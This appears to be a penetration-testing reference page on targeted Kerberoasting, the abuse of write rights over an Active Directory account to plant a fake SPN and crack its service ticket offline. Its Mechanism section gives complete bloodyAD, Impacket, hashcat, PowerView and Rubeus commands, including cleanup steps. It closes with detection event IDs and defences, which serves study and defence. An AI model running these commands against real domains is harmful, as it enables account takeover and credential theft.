Targeted Kerberoasting (forged SPN)

Classic Kerberoasting requires the victim to already have a servicePrincipalName (SPN) assigned (typically service accounts running MSSQL, IIS, HTTP…). When any user holds the WriteSPN, GenericWrite or GenericAll permission over another account, the attacker can plant a made-up SPN and fire Kerberoasting at that account even though it was never a service account. It is a specific case of ACL abuse.

Mechanism

There are three stages: write a fake SPN on the victim, request its TGS, and crack it. From Linux with bloodyAD and Impacket:

bloodyAD --host <dc> -d <domain> -u <me> -p <pw> \
  set object <victim> servicePrincipalName -v 'hello/world'

impacket-GetUserSPNs -dc-ip <dc> '<domain>/<me>:<pw>' \
  -request-user <victim> -outputfile hash

hashcat -m 13100 hash /usr/share/wordlists/rockyou.txt
bloodyAD --host <dc> -d <domain> -u <me> -p <pw> \
  set object <victim> servicePrincipalName -v ''       # clean up the SPN afterward

targetedKerberoast.py automates the full cycle (plants the SPN, roasts, and removes it) for one or all users you have write access over:

targetedKerberoast.py -d <domain> -u <me> -p <pw> --request-user <victim>

From Windows, PowerView does the same by writing the attribute with a PSCredential and Rubeus requests the ticket:

Set-DomainObject -Credential $Cred -Identity <victim> -SET @{serviceprincipalname='notahacker/LEGIT'}
.\Rubeus.exe kerberoast /user:<victim> /nowrap
Set-DomainObject -Credential $Cred -Identity <victim> -Clear serviceprincipalname   # clean up

The TGS the KDC returns is encrypted with the victim's NT hash (or AES256, depending on preferred encryption): it is cracked offline. If the password is weak, the account is ours.

Requirements

A write ACE over the victim's servicePrincipalName (WriteSPN, GenericWrite, GenericAll or WriteProperty on that attribute), which BloodHound flags as an edge. The domain accepting RC4 in the TGS (default yes) speeds up the crack; with AES-only the hash is still crackable, just slower. And, as always in Kerberoasting, the victim's password being weak.

How to detect it. Targeted Kerberoasting leaves two footprints where the classic leaves one. Planting the SPN generates an Event ID 5136 (a directory service object was modified) on the servicePrincipalName attribute of a user (not a computer), something extremely rare in normal operation, plus a 4738 (a user account was changed). The subsequent roast is the same 4769 with RC4 encryption (0x17) as Kerberoasting. Because the attacker cleans up the SPN afterward (-v ''), a second 5136 appears removing it: two modifications of the same user's servicePrincipalName within minutes, with a 4769 in between, is an unmistakable signature. Any ordinary user suddenly acquiring an SPN should raise an alert.

Defence. Treat WriteSPN/GenericWrite over users like GetChangesAll: review who holds it and why, enforce long passwords or gMSAs on service accounts so the targeted roast is worthless, and require AES in the domain. It chains with hash cracking and credential reuse.